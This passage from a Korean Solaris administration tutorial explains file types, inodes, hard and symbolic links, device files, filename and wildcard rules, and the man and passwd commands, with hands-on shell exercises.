디렉토리로이동 */ # cd../dir1 /* 옆에있는디렉토리로이동 */ [EX]../dir1 활용예 # cd /export /* /export 디렉토리로이동 */ # cd../etc /* 옆의 /etc 디렉토리로이동 */

45 Solaris Esstential Guide 파일의종류 (File Types) 일반파일 (Regular File) 디렉토리파일 (Directory File) 링크파일 (Link File : Hard Link File, Symbolic Link File) 디바이스파일 (Device File : Block Device File, Charater Device File) [ 참고 ] 기타파일의종류 (Other File Types) Pipe( 파이프 ) 파일 Socket( 소켓 ) 파일 Door( 도어 ) 파일 솔라리스에서는모든것을파일로다룬다. 그래서솔라리스시스템에서여러가지파일의종류가존재한다. 일반파일, 디렉토리파일, 링크파일, 디바이스파일, 파이프파일, 소켓파일등이있다. 파일의종류에관한정보는 ls 명령어의 -l 옵션을사용하여출력되는화면에첫번째문자에서확인이가능하다. 또한 file 명령어에파일의이름을인자로받아서파일의종류를확인할수도있다. 솔라리스시스템에서파이프파일, 소켓파일, 도어파일들은특정한프로그램 ( 예 : 데몬프로세스 ) 이실행될때자동으로생성이되었다가필요가없게되면자동으로프로그램이삭제해버리기때문에관리자가관리할필요는없다. 하지만일반파일, 디렉토리파일, 링크파일, 디바이스파일들은관리자가반드시관리해야하는파일들이다

46 Solaris Esstential Guide 다음은솔라리스파일의종류 (File Type) 에대한목록이다. 일반파일 (Ordinary File) 디렉토리 (Direcoty) 링크파일 (Hard/Symbolic Link) 디바이스파일 (Block/Character Special file) 파이브파일 (pipe special file) 소켓 (Socket) 도어 (Door) 솔라리스시스템에서파일과디렉토리를이동하고파일과디렉토리의내용을확인하며디렉토리의내용을변경하는방법을제공한다. 또한파일과디렉토리의정보를검색하고특정한패턴을찾는방법도제공하고있다. 솔라리스를사용하는데가장자주사용되는기본명령어는다음과같다. 디렉토리에관련된기본명령어 : ls, pwd, mkdir, cd, mv 등 파일과관련된기본명령어 : cat, more, cp, rm, head, tail 등 파일과디렉토리검색에관련한기본명령어 : grep, find 등 파일과디렉토리의내용들을다루기위해서는위와같은기본적인명령어에익숙해져야한다. 솔라리스시스템에서파일의구조 (File Structure) 파일이름, Inode (Index Node) 와데이터블럭 (Data block) 로구분할수있다. 파일의이름은유일해야하고대소문자는다른문자로인식하게된다. Inode 는파일의속성정보와데이터블럭을포인트하는정보가들어있으며 ls 명령어에 -l 옵션을사용하여대부분의정보를확인할수있다. 데이터블럭안에는실제파일에저장되는내용이들어가게된다. 일반파일, 디렉토리, 심볼릭링크파일들은모두하나이상의데이터종류를저장한다. 하지만디바이스파일은데이터를저장하지않는다. 대신에디바이스파일은디바이스제어접근 (Access) 을제공한다. 다음은솔라리스시스템에서파일의구조이다 filename ====> Inode (Inode: Index Node) Data Block [ 그림 ] 파일의기본구조 파일의이름 솔라리스시스템에서파일의이름은파일을접근하기위해사용한다. 파일은 Inode 와함게파일의구성요소로서같은디렉토리안에서파일의이름은유일한것이어야한다. 예를들어현재디렉토리밑에존재하는디렉토리와같은이름은일반파일을생성할수는없다. 솔라리스에서파일의이름은다음과같은규칙을적용받는다. 파일의이름은최대 255 자까지생성이가능하다. 파일의이름은문자와숫자를사용할수있으며대소문자를구별한다. 파일의이름으로.(Dot), _(Underbar), -(Dash) 사용가능하다. 파일의이름으로특수문자 (Metacharater) 를사용하면안된다. 대표적인특수문자는 *(Aterisk), /(Slash), \(Back Slash),,(Comma), '(Single Quote), "(Double Quote) ;(Semicolon), &(Ampersand), (Pipeline), <(Angle Blocket) 등이다..(Dot) 로시작하는파일의이름은시스템의환경파일들이므로일반파일의이름으로권장하지않는다. 파일의이름에공백이나탭을사용하는것을권장하지않는다

47 Solaris Esstential Guide Inode Inode 는파일에대한정보를담고있는부분이다. 일반적으로 Inode 에는크게두가지부분을포함하고있다. 첫번째는파일에대한속성정보 (Ownership, Groupship, File Permission Mode 등 ) 와데이터블록을가리키고있는포인더 (Direct/Indirect Pointer) 이다. Inode 는숫자로되어져있으며각파일시스템은자신의 Inode 테이블 (Inode Tables) 을가지고있다. 파일이새로운파일시스템이만들어지는경우파일시스템안에서는새로운 Inode 번호을할당받게된다. Inode 에는다음과같은정보를포함한다. 파일의종류 (File Type) 파일의퍼미션모드 (File Permission Mode) 파일의소유자, 그룹 (File Ownership, Groupship) 파일의링크수 (Hard Link Count) 파일의마지막접근시간 (Access Time), 수정시간 (Modification Time) 파일의크기 (Bytes, 할당된또는사용중인데이터블럭의수 ) 두가지형태의포인터 (Directe Pointers and Indirect Pointers) Data Block 데이터블럭은디스크공간에대한단위 (Units of Disk Space) 로서데이터를저장하는역할을가진다. 일반파일, 디렉토리, 심볼릭파일들은데이터블록을사용하지만일반파일과다른구조를가지고있는디바이스파일은데이터블럭에데이터를저장하지않고주디바이스숫자 (Major Device Number) 와부디바이스숫자 (Minor Device Number) 를담고있다. Data Block 은다음과같은내용은포함한다. 일반파일의경우파일의내용이들어있다. 디렉토리인경우안에포함된파일과디렉토리이름이들어있다

48 Solaris Esstential Guide 일반파일 (Egular File) 일반파일은솔라리스찾을수있는거의대부분의파일종류이다. 데이터블록에들어가는데이터는많은형태는 ASCII(American Standard Code for Information Interchange) 텍스트, 바이너리데이터, 이미지데이터, 데이터베이스데이터, 애플리케니션데이터등이있다. 일반파일을만드는방법또한많다. 예를들어 vi 편집기를사용할수도있고, 컴파일을통해바이너리를생성할수도있고, touch 명령어를통해빈파일을생성할수도있다 file1 ====> inode(450) (Inode: Index Node) Data Block Data : Text, Binary data, Images, Application data, Databases Creation Methods : Text editors, Compilers, Application programs, Database programs, Command(EX: touch, cat, vi)

49 Solaris Esstential Guide 디렉토리파일 (Directory File) 디렉토리의데이터블록안에는실제디렉토리가포함하고있는파일과디렉토리에대한정보를가지고있다. 다시말해서파일의이름, 디렉토리의이름 Inode 번호를저장하고있다. 디렉토리의데이터블록안에는어떤파일종류이든파일의종류에맞는정보가들어갈수있다 dir1 ====> inode(451) (451)..(440) file1(452) dir2(453) Data : Directory information Creation Methods : mkdir dirname

50 Solaris Esstential Guide 링크파일 (Link File) 링크파일은심볼릭링크파일 (Symbolic Link File) 과하드링크파일 (Hard Link File) 이있다. 하드링크파일은파일을생성하면기본적으로생성이된다. 일반파일이름과 Inode 와데이터블록이존재한다면하드링크는 1 이된다. 일반파일은기존파일에하드링크를걸면링크수가증가된다. 디렉토리에서는디렉토리이름과 Inode 와데이터블럭이존재하면기본적으로링크수는 2 이다. 디렉토리는디렉토리안에하위디렉토리가증가하는경우하드링크수는증가하게된다. 다음은링크파일을만드는 ln 명령어에대한내용이다. ln CMD NAME ln - make hard or symbolic links to files DESCRIPTION The ln utility may be used to create both hard links and symbolic links. A hard link is a pointer to a file and is indistinguishable from the original directory entry. Any changes to a file are effective independent of the name used to reference the file. Hard links may not span file systems and may not refer to directories. OPTIONS -s Creates a symbolic link. 하드링크 (Hard Link) 심볼릭링크 (Symbolic Link, Soft Link) (1) 하드링크 (Hard Link) # ln file1 file2 - file1, file2의용량은같은가? -> - file1, file2의 inode number는같은가? -> - file1을편집하면 file2의내용은어떤가? -> - "ls -li file*" 하면특이한변화는있는가? -> - When Original File Delete!! -> - filesystem을넘어서링크를걸수있는가? -> (2) 심볼릭링크 (Symbolic Link) # ln -s file1 file2 - file1, file2의용량은같은가? -> - file1, file2의 inode number는같은가? -> - file1을편집하면 file2의내용은어떤가? -> - "ls -li file*" 하면특이한변화는있는가? -> - When Original File Delete!! -> - filesystem을넘어서링크를걸수있는가? ->

51 Solaris Esstential Guide ( 기본설정점검 ) 파일에관련한하드링크수는 1 이다. ( 파일에대한하드링크수는아이노드를가리키는파일의개수이다.) 디렉토리관련한하드링크수는 2 이다. ( 디렉토리에대한하드링크수는디렉토리안에존재하는디렉토리의개수이다.) ( 실습준비 ) # cd /test # rm -r /test/* ( 기본설정점검실습 ) # touch file1 # ls -l file1 /* 기본파일생성시하드링크수는 1 */ -rw-r--r-- 1 root other 0 2월 5 15:42 file1 Hard Link Count : 1 # mkdir dir1 # ls -l /* 기본디렉토리생성시하드링크수는 2 */ drwxr-xr-x 2 root other 512 1월 8 20:47 dir1 Hard Link Count : 2 # mkdir dir1/dir2 # ls l # ls a dir1 # touch dir1/file2 # ls l # mkdir dir1/dir3 # ls l # mkdir dir1/dir2/dir4 # ls l # ls l / drwxr-xr-x 46 root sys 1.0K Jul 6 21:19 var/ [EX1] 하드링크실습 # cd /test # rm -r /test/* # echo 111 > file1 # cat file1 # ln file1 file2 # ls -l /* 파일의크기점검, 링크카운트점검 */ # ls -li /* Inode 번호점검 */ # echo 2222 >> file2 # cat file2 # cat file1 /* 파일의내용확인 */ # rm file1 /* 원본파일 (Original File) 을지우면!! */ # cat file2 [EX2] 심볼릭링크실습 # ln -s file2 file3 # ls -l /* 파일의크기점검, 링크카운트점검 */ # ls -li /* Inode 번호점검 */ # echo 3333 >> file3 # cat file2 /* 파일의내용점검 */ # rm file2 /* 원본파일 (Original File) 을지우면!! */ # cat file3-45 -

52 Solaris Esstential Guide [ 참고 ] Symblic Link 의예윈도우 -> 바로가기아이콘 [ 참고 ] 일반파일의하드링크확인방법 ( 링크카운트값을확인한다.) file1 에 file2 가하드링크가되어있는지확인하는방법 ls 명령어의 -i 옵션을사용하여 Inode 번호를확인한다. # ls -li file* find 명령어의 -inum 옵션을사용한다. # find. -inum 450 -type f

53 Solaris Esstential Guide [Q & A] 심볼릭링크에서원본파일이지워지고, 다시생성이되면? ( 질문 1) "ln -s file1 file2" 이런식으로링크를걸었을때 file1 파일이지워졌다가다시생성되었다면 file2 는어떻게되는것인가요?. 다시링크가걸리는것인가요? ( 답변 1) 테스트를통해확인해보겠습니다. # cd /test # echo 1111 > file1 # ln -s file1 file2 # ls -li file1 file rw-r--r-- 1 root root 5 Mar 10 17:11 file lrwxrwxrwx 1 root root 5 Mar 10 17:11 file2 -> file1 # rm file1 ; cat file2 cat: cannot open file2 # echo 2222 > file1 # cat file # ls -li file1 file rw-r--r-- 1 root root 5 Mar 10 17:12 file lrwxrwxrwx 1 root root 5 Mar 10 17:11 file2 -> file1 l 여기서중요한것은같은파일이름 ( 예 : file1) 과같은 Inode 번호로생성되었다는것입니다. l 실제심볼릭링크의중요정보는다른파일을포인터하고있다는것이고, 이때파일의이름을 사용한다는것입니다. 다른예를들어보겠습니다. 위의예제와연결하여테스트하시면됩니다. # rm file1 # cat file2 cat: cannot open file2 # echo 3333 > file3 # echo 2222 > file1 # ls -li rw-r--r-- 1 root root 5 Mar 10 17:17 file lrwxrwxrwx 1 root root 5 Mar 10 17:11 file2 -> file rw-r--r-- 1 root root 5 Mar 10 17:17 file3 # cat file l 위의테스트와같이심볼릭링크는파일의이름을찾는것을확인해볼수있습니다. l 다른파일을포인터할때, 파일의 Inode 번호를가지고포인터하지않고파일의이름을가지고포인터한다는것입니다. ( 질문 1) 링크파일은어떻게지우나요? [ 참고 ] 링크파일은어떻게지우는방법? ( 답변 1) 다음내용을참고하세요. 여러가지종류의파일을만드는방법은조금씩틀릴수있습니다. 하지만지우는방법은같습니다. 예를들어링크파일은 ln 명령어를통해만들지만링크파일을지우는방법은 rm 명령어를통해지웁니다. 디바이스파일은 mknod 명령어를통해만들지만디바이스파일을지우는명령어는 rm 명령어를통해지우는것입니다

54 Solaris Esstential Guide [Q & A] 하드링크파일을지웠는데용량이줄지않네요? ( 질문 1) 파티션사용량이거의 100% 에근접하여파티션에다음과같은정보를가지고있는파일을삭제하였습니다. 하지만용량이줄지않네요. 왜그런가요? # ls -l -rw-r--r-- 4 root root 100M Mar 10 17:30 DB1 ( 답변 1) 테스트를통해확인해보겠습니다. # cd /data1 # mkfile 100m DB1 (# dd if=/dev/zero of=/data1/db1 bs=1024 count=102400) # ln DB1 DB2 # ln DB1 DB3 # ln DB1 DB4 # df -h /data1 Filesystem size used avail capacity Mounted on /dev/dsk/c0d0s3 472M 101M 324M 24% /data1 l 여러개의하드링크를만들었지만용량은 100M정도입니다.(100M 정도 ) l 이것은하드링크가걸렸기때문입니다. # ls -li 2 drwxr-xr-x 3 root root 512 Mar 10 17:33./ 2 drwxr-xr-x 75 root root 2.0K Mar 10 15:14../ 4 -rw-r--r-- 4 root root 100M Mar 10 17:30 DB1 4 -rw-r--r-- 4 root root 100M Mar 10 17:30 DB2 4 -rw-r--r-- 4 root root 100M Mar 10 17:30 DB3 4 -rw-r--r-- 4 root root 100M Mar 10 17:30 DB4 3 drwx root root 8.0K Oct 21 21:17 lost+found/ l inode 번호가일치하는파일이여러개가존재한다는것입니다. 그리고하드링크수가 DB* 파일 들에대해서는모두같습니다. 따라서 4개의파일이하드링크걸려있다는뜻입니다. DB로시 작하는모든파일을삭제해야만용량이줄어듭니다. l 이런 inode 번호가같은파일들을검색하는방법은 find 명령어를사용하면됩니다. # find /data1 -inum <inode number> -type f # rm DB4 # ls -li 4 -rw-r--r-- 3 root root 100M Mar 10 17:30 DB1 4 -rw-r--r-- 3 root root 100M Mar 10 17:30 DB2 4 -rw-r--r-- 3 root root 100M Mar 10 17:30 DB3 3 drwx root root 8.0K Oct 21 21:17 lost+found/ # df -h /data1 Filesystem size used avail capacity Mounted on /dev/dsk/c0d0s3 472M 101M 324M 24% /data1 l 위의테스트결과와같이 DB4 파일을지웠다고해서용량이줄어든것은아닙니다. # rm DB1 DB2 DB3 # df -h /data1-48 -

55 Solaris Esstential Guide [ 참고 ] 실무예 /disk1(1tb) 용량의디스크를 /disk2 쪽으로마이그레이션작업을해야되는경우가생겼다. 하지만용량이크기때문에서버를운영중 ( 서비스운영중 ) 에수행하기에는부담스럽다. 따라서이런경우심볼릭링크를사용하면간단하게해결이가능하다. # ln -s /disk1 /disk2 [ 참고 ] 실무예서비스관리설정파일의위치 : /was/admin/server1/conf/ /etc/apache2/ /var/www/html/ /etc/mail/ /etc/ftpd/ 관리디렉토리 : /test/(ftp WEB MAIL...) # cd /test # rm rf /test/* # ln -s /etc/apache2 WEB # ln -s /etc/mail MAIL # ln -s /etc/ftpd FTP # ls # cd WEB #../MAIL #../FTP

56 Solaris Esstential Guide 디바이스파일 (Device File) 디바이스파일은디바이스를제어하기위해서사용된다. 디바이스파일은일반파일, 디렉토리, 심볼릭링크파일등과같지않다. 디바이스파일은데이터블록을사용하지않는다. 디바이스파일의데이터블록안에는메이저디바이스번호 (Major Device Number) 와마이너디바이스번호 (Minor Device Number) 를담고있다. 메이저디바이스번호는디바이스접근에필요한디바이스드라이버식별번호이다. 마이너디바이스번호는디바이스드라이버제어를위한그디바이의특별한부분을식별할때사용한다. ( 예 : 디스크디바이스에대해서마이너디바이스번호는슬라이스 ( 파티션 ) 번호이다.) 솔라리스시스템에서디바이스파일들은 /dev(logical Device Name), /devices(physical Device Name) 디렉토리에존재한다. Block Device File Character Device File = Raw Device File : 블럭단위로 I/O 발생 (EX: DISK I/O : 8 Kbytes) : 바이트단위로 I/O 발생 (EX: DISK I/0 : 512 bytes) dad@0,0:a ====> inode(451) , Data : Major/Minor device number Creation Methods : mknod, drvconfig, devfsadm 주디바이스번호 (Major Device Number) : 136 ( 장치의종류, /etc/name_to_major) 부디바이스번호 (Minor Device Number) : 0 ( 파티션번호 (Slice Number)) [EX] Major Device Number & Minor Device Number(Solaris 10 SPARC 10/09 on Blade 150) # grep dad /etc/name_to_major dad 136 # ls -l /devices/pci@1f,0/pci@1,1/ide@3/dad@0,0:a brw-r root sys 136,0 2 월 2 16:05 /devices/pci@1f,0/pci@1,1/ide@3/dad@0,0:a [EX] Character Device File & Block Device File for Disk # df -h -F ufs 파일시스템 크기 사용 가용 용량 설치지점 /dev/dsk/c1t0d0s0 11G 4.0G 7.2G 36% / /dev/dsk/c1t0d0s4 472M 1.0M 424M 1% /data2 /dev/dsk/c1t0d0s6 472M 1.0M 424M 1% /data4 /dev/dsk/c1t0d0s3 472M 1.0M 424M 1% /data1 /dev/dsk/c1t0d0s5 472M 1.0M 424M 1% /data3 /dev/dsk/c1t0d0s7 472M 1.0M 424M 1% /export/home # ls -ll /dev/dsk/c1t0d0s0 brw-r root sys 32, 0 6 월 9 일 10:05 /dev/dsk/c1t0d0s0 # ls -ll /dev/rdsk/c1t0d0s0 crw-r root sys 32, 0 6 월 9 일 10:51 /dev/rdsk/c1t0d0s0-50 -

57 Solaris Esstential Guide [ 참고 ] Block Device & Character Device <Disk Structure> <Operating System> DISK Device <=== Device Driver ===> dad@0,0:a kernel - Sector Device File - Track - Cylinder 디스크디바이스파일 (Disk Device File, Special Device File) - Charater Device File : I/O : Bytes 단위의 I/O = Raw Device File - Block Device File : I/O : Block 단위의 I/O DISK Device <=== Device ===> Block Device File OS(kernel) - Sector Driver Charater Device File - Track - Cylinder [EX] 블럭디바이스사용예제 # mount /dev/dsk/c0t0d0s7 /export/home /* mount : 장치마운트시사용하는명령어 */ [EX] 캐릭터디바이스사용예제 # newfs /dev/rdsk/c0t0d0s7 /* newfs : 파일시스템만들때사용하는명령어 */ # fsck /dev/rdsk/c0t0d0s7 /* fsck : 파일시스템점검할때사용하는명령어 */ [EX] 블럭 / 캐릭터디바이스사용예제 # prtvtoc /dev/rdsk/c0t0d0s2 /* prtvtoc: VTOC 내용확인할때사용하는명령어 */ # prtvtoc /dev/dsk/c0t0d0s2-51 -

58 Solaris Esstential Guide [ 참고 ] 파일 / 디렉토리이름규칙 (Filename Convention) 솔라리스에서파일 / 디렉토리의이름은다음과같은규칙을적용받는다. 파일의이름은최대 255 자까지생성이가능하다. 파일의이름은문자와숫자를사용할수있으며대소문자를구별한다. 파일의이름으로.(Dot), _(Underbar), -(Dash) 사용가능하다. 파일의이름으로특수문자 (Metacharater) 를사용하면안된다. 대표적인특수문자는 *(Aterisk), /(Slash), \(Back Slash),,(Comma), '(Single Quote), "(Double Quote) ;(Semicolon), &(Ampersand), (Pipeline), <(Angle Blocket) 등이다..(Dot) 로시작하는파일의이름은시스템의환경파일들이므로일반파일의이름으로권장하지않는다. 파일의이름에공백이나탭을사용하는것을권장하지않는다. 파일 / 디렉토리이름길이 : char(s) (1). 파일의이름에 "-"(Dash), "_"(Underbar), "."(Dot) 사용가능 # touch file1_1202.log # touch dir-file.sh (2). 파일이름에공백, 점 (Dot) 는되도록사용하지말자. 이런파일이름들은주로해커들에의해악의적으로사용되는경우가많다. # touch " " # touch ". " # touch /dev/rdsk/c0t0d0s0 (3). 파일이름에대문자와소문자는구별한다.(Case Sensitive) # touch file1 # touch FILE1 (4). 파일이름에앞에.(Dot) 으로시작하는파일은환경파일이다. # touch.filename # ls -l /.profile # ls -l /.kshrc

59 Solaris Esstential Guide [ 참고 ] Wild Card(Special Character) 와일드카드문자라는것은하나의문자가여러가지의의미를포함하고있는문자를나타낸다. 대표적인와일드카드문자는 *(Asterisk),?(Question Mark), [](Square Bracket) 등이다. (1) * (Asterisk, 0 or more) 여러개의글자를나타내며, 어떤글자든상관이없다. # cd /test # touch file1 file2 file3 # ls -l file* # touch file # ls -l file* ( 예제 ) # cd /et* # gzip -d *.gz # pkgadd -d vmware* (2)? (Question Mark) 하나의글자이며, 어떤글자든상관이없다. 반드시글자가존재해야한다. # ls -l file? (3) [ ] (Square Bracket) 대괄호표시안의글자는여러가지중에선택적인한글자를나타낸다. # ls -l file[123] # ls -l file[1-3] (EX) # ls -l file[a-za-z] # ls -l file[0-9a-za-z]*

60 Solaris Esstential Guide 솔라리스운영체제를잘다루기위해서는많은명령어들을알아야한다. 하지만많은명령어들을모두자세한사용방법을익숙히만드는것은쉽지않은일이다. 또한명령어에는많은옵션들이존재하고, 이옵션들에따라서명령어들의동작방법이틀려지게된다. 명령어의옵션또한외우는것이쉽지만은않는다. 따라서명령어가나올때마다 도움말 같이참고할수있는내용이있다면명령어사용시, 옵션사용시마다참고해볼수있을것이다. 유닉스계열에서명령어나옵션에대한자세한내용을확인하기위해서 man 명령어를사용한다. 솔라리스운영체제의사용자암호를변경하는경우에는 passwd 명령어를사용한다. 관리자는모든사용자의암호를변경할수있고, 사용자는자신의암호만변경이가능하다

61 Solaris Esstential Guide man 명령어 NAME man - find and display reference manual page DESCRIPTION The man command displays information from the reference manuals. It displays complete manual pages that you select by name, or one-line summaries selected either by keyword (-k), or by the name of an associated file (-f). If no manual page is located, man prints an error message. OPTIONS -k keyword... Prints out one-line summaries from the windex database (table of contents) that contain any of the given keywords. The windex database is created using catman(1m). -l Lists all manual pages found matching name within the search path. -M path Specifies an alternate search path for manual pages. path is a colon-separated list of directories that contain manual page directory subtrees. For example, if path is /usr/share/man:/usr/local/man, man searches for name in the standard location, and then /usr/local/man. When used with the -k or -f options, the -M option must appear first. Each directory in the path is assumed to contain subdirectories of the form man* or sman*, one for each section. This option overrides the MANPATH environment variable. -s section... Specifies sections of the manual for man to search. The directories searched for name are limited to those specified by section. section can be a numerical digit, perhaps followed by one or more letters to match the desired section of the manual, for example, "3libucb". Also, section can be a word, for example, local, new, old, public. section can also be a letter. To specify multiple sections, separate each section with a comma. This option overrides the MANPATH environment variable and the man.cf file. See Search Path below for an explanation of how man conducts its search. man 명령어는 manual 의약자로명령어, 라이브러리, 설정파일, 디바이스드라이버, 커널모듈등많은내용들을담고있는도움말이다. 예를들어각명령어들의옵션들의모든기능을기억하는것은힘든일이며, 필요할때마다참고로확인할수있는문서라고생각하면된다. 이매뉴얼페이지에는명령어의설명, 사용형식, 설명, 옵션, 예제들, 또는많은참고사항들이들어있다. man 명령어다음에오는명령어나파일또는라이브러리의이름들은대문자와소문자를구분한다. 즉, 대문자와소문자는다른뜻이다. ( 예 : # man -k Password, # man -k password) ( 명령어형식 ) # man ls /* 명령어나파일의이름으로검색하는경우 */ # man -k calendar (-k: keyword) /* 키워드로검색하는경우 */ # man -l passwd (-l: list) /* 목록 (List) 으로검색하는경우 */ # man -s 1B ls (-s: section) /* 섹션번호로검색하는경우 */

62 Solaris Esstential Guide [EX1] "# man ls" 형식실습 Ÿ 가장기본적인형식이다. Ÿ man 명령어다음에명령어의이름이나파일의이름을지정하여매뉴얼이존재한다면, 명령어나파일에대한매뉴얼을확인할수있다. # man ls User Commands ls(1) NAME ls - list contents of directory SYNOPSIS /usr/bin/ls [-aabccdffghillmnopqrrstux1@] [file...] /usr/xpg4/bin/ls [-aabccdffghillmnopqrrstux1@] [file...] DESCRIPTION For each file that is a directory, ls lists the contents of the directory. For each file that is an ordinary file, ls repeats its name and any other information requested. The output is sorted alphabetically by default. When no argument --More--(4%) Enter -> 한개의라인씩이동 Space -> 한페이지단위로이동 <-----> <CTRL + B> / 문자열 -> /-a <-----> n, N /OPTIONS /EXAMPLE h -> 도움말 (help) q -> 매뉴얼종료 (quit) [EX2] "# man -k calendar" 형식실습 Ÿ 키워드별 ( 영문단어 ) 로매뉴얼을검색할수있는형식이다. Ÿ 예를들어사용자가 cal 명령어를모르는상태에서 calendar( 달력 ) 과연과성이있는명령어나파일또는라이브러리들을검색하기위해서사용할수있다. Ÿ man 명령어의 -k 옵션은 windex라는 DB 형태의파일에서키워드를검색하게되는데, 솔라리스운영체제가초기설치되었을때는이파일이존재하지않는다. 따라서 windex라는 DB 파일을초기에한번은 catman 명령어의 -w 옵션을통해만들어주어야한다. 또한매뉴얼이업데이트되면 catman 명령어를수행해주는것을권장한다. windex (EX: /usr/share/man/windex) - Table of contents and keyword database # man -k calendar /usr/share/man/windex: No such file or directory /usr/man/windex: No such file or directory /usr/openwin/share/man/windex: No such file or directory # catman -w /* windex DB 파일생성, 생성되는데 5초 ~10초정도걸림 */ # man -k calendar /* calendar 키워드로매칭되는매뉴얼검색 */ cal cal (1) - display a calendar calendar calendar (1) - reminder service difftime difftime (3c) - computes the difference between two calendar times mktime mktime (3c) - converts a tm structure to a calendar time cal cal (1) - display a calendar calendar calendar (1) - reminder service difftime difftime (3c) - computes the difference between two calendar times mktime mktime (3c) - converts a tm structure to a calendar time

63 Solaris Esstential Guide [EX3] "# man -l passwd" 형식실습 # man -l passwd passwd (1) passwd (1) passwd (4) passwd (1) passwd (4) -M /usr/sfw/share/man -M /usr/share/man -M /usr/share/man -M /usr/man -M /usr/man 매뉴얼섹션참고사항 # man passwd # man -M /usr/sfw/share/man -s 1 passwd # man -M /usr/share/man -s 1 passwd (passwd 명령어매뉴얼 ) # man -M /usr/share/man -s 4 passwd (/etc/passwd 파일매뉴얼 ) [EX4] "# man -s 1M passwd" 형식실습 # man find... ( 중략 )... /SEE ALSO <----- 최하위행모드 (Last Line Mode) 에서실행... SEE ALSO chmod(1), cpio(1), ls(1b), sh(1), test(1), stat(2), umask(2), attributes(5), environ(5), fsattr(5), largefile(5), standards(5)... # man -s 1B ls # man -s 5 environ ( 일반적인매뉴얼페이지위치 ) # cd /usr/share/man /* 솔라리스의대부분의매뉴얼페이지의위치 */ # ls [MAN DIRECTORY] [MAN SECTION] [MANUAL PAGE STRUCTURE] [ 그림 ] 매뉴얼페이지구조

64 Solaris Esstential Guide Manual Page Directory /usr/share/man (/usr/man) /usr/dt/share/man /usr/openwin/share/man /usr/sfw/share/man /usr/local/man... ( 중략 ) Ÿ 프로그램은여러곳에설치가될수있으며, 매뉴얼페이지또한여러곳에설치가된다. Ÿ 솔라리스운영체제에서는대부분의매뉴얼은 /usr/share/man 디렉토리에위치한다. Ÿ # find / -name man type d Ÿ # ls l /usr/man (/usr/man -> /usr/share/man) lrwxrwxrwx 1 root root 11 Oct 15 15:27 /usr/man ->./share/man Unix Manual Section Section 1 Command Section 2 Library for System Programming Section 3 Library for C Programming Section 4 System Configuration File Format Section 5 Standard, Macro etc Section 6 Games, Demo etc Section 7 Device File Ÿ 유닉스에서사용하고있는일반적인매뉴얼페이지의섹션은위와같은구조를가진다. Sun 10 Reference Manual Collection section 1: User Commands section 1M: System Administration Commands section 2: System Calls section 3: Library Interfaces and Headers section 3: Basic Library Functions section 3: Networking Library Functions section 3: Threads and Realtime Library Functions section 3: Extended Library Functions section 3: Curses Library Functions section 4: File Formats section 5: Standards, Environments, and Macros section 6: Demos section 7: Device and Network Interfaces section 9: DDI and DKI Driver Entry Points section 9: DDI and DKI Kernel Functions section 9: DDI and DKI Properties and Data Structures Ÿ 솔라리스운영체제에서사용하고있는매뉴얼페이지섹션은위와같은구조를가진다. DDI(Device Driver Interface) DKI(Driver-Kernel Interface) l l l Section 1, 4 -> 관리자 ( 시스템엔지니어, SE) Section 2, 3 -> 시스템프로그램머 Section 7, 9 -> Device Driver 개발자

65 Solaris Esstential Guide Manual Information Structure NAME - SYNOPSIS - DESCRITPION - OPTIONS <----- Check - OPERANDS - OUTPUT - RETURN VALUES - ERRORS - USAGE - EXAMPLES <----- Check - ENVIRONMENT VARIABLES - EXIT STATUS - FILES <----- Check - ATTRIBUTES - SEE ALSO <----- Check - DIAGNOSTICS - WARNINGS - NOTES - BUGS Ÿ 하나의매뉴얼페이지는매뉴얼정보페이지형식이위와같은구조를가진다. [EX] Manual Information Structure 사용예 # man ls / 문자열 -> /OPTIONS -> /EXAMPLES -> /FILES -> /SEE ALSO [ 참고 ] 매뉴얼페이지를텍스트파일로변환매뉴얼페이지를파일로저장하고, 이텍스트파일을출력하여볼려고하는경우다음과같은형식을쓸려고할것이다. NAME # man find > find.txt (X) 하지만위와같은경우 find.txt 파일에는정렬된내용이보이지는않는다. 이것은매뉴얼페이지출력시사용되는 _(Underbar) 때문이다. 이런문자를제거하고텍스트문서로만들지않는다면, 매뉴얼페이지를텍스트파일로저장하고, 문서로출력하는경우페이지가밀리게된다. 따라서이런경우 col 명령어를사용하여매뉴얼페이지의일부내용은필터링하여텍스트파일로변한하면정상적인출력결과를얻을수있다. 매뉴얼페이지를텍스트파일로저장하는경우다음과같은명령어를사용하면된다. # man find col -b > find.txt (0) # vi find.txt # man col col - reverse line-feeds filter OPTIONS -b Assume that the output device in use is not capable of backspacing. In this case, if two or more characters are to appear in the same place, only the last one read will be output

66 Solaris Esstential Guide [ 참고 ] 매뉴얼페이지만드는방법소개 다음은한글매뉴얼페이지를만드는방법에대한설명이다. ( 전제조건 ) 운영체제언어가한글로되어있어야한다. 운영체제로그인시 JDS/CDE 로그인창에서 Options 부분을선택하고언어부분에서한글을선택한다. 한글매뉴얼텍스트파일만들기 # cd /test # gedit hangul.txt.\" 주석처리입니다..TH 한글매뉴얼페이지 1 " " "SunOS 5.10 x86" "User Manual".SH NAME 한글매뉴얼작성에대한소개입니다..SH SYNOPSIS # nroff -man source.txt > target.1.sh DESCRIPTION 한글매뉴얼페이지를작성하는방법은 man(5) 매뉴얼페이지와 nroff(1) 명령어의매뉴얼페이지를참고하시면됩니다..SH "SEE ALSO" # man -s 5 man.sh AUTHOR 백승찬 <jang4sc@paran.com> -> 한글입력시 <CTRL + SPACE> 또는 ( 한영전환 ) 키를사용해야한다. 한글매뉴얼텍스트파일을매뉴얼페이지로전환 # mkidr p /root/man/man1 # nroff hangul.txt > /root/man/man1/hangul.1 # MANPATH=$MANPATH:/root/man ; export MANPATH (# vi $HOME/.profile) # man hangul 페이지를다시포맷중입니다. 기다려주십시오... 완료 User Manual 한글매뉴얼페이지 (1) NAME 한글매뉴얼작성에대한소개입니다. SYNOPSIS # nroff -man source.txt > target.1 DESCRIPTION 한글매뉴얼페이지를작성하는방법은 man(5) 매뉴얼페이지와 nroff(1) 명령어의매뉴얼페이지를참고하시면됩니다. SEE ALSO # man -s 5 man AUTHOR 백승찬 <jang4sc@paran.com> SunOS 5.10 Last change: [ 참고 ] ( 반드시참고해주시기바랍니다.)

67 Solaris Esstential Guide passwd 명령어 NAME passwd - change login password and password attributes DESCRIPTION The passwd command changes the password or lists password attributes associated with the user's login name. Additionally, privileged users can use passwd to install or change passwords and attributes associated with any login name. When used to change a password, passwd prompts everyone for their old password, if any. It then prompts for the new password twice. When the old password is entered, passwd checks to see if it has aged sufficiently. If aging is insufficient, passwd terminates; see pwconv(1m), nistbladm(1), and shadow(4) for additional information. The pwconv command creates and 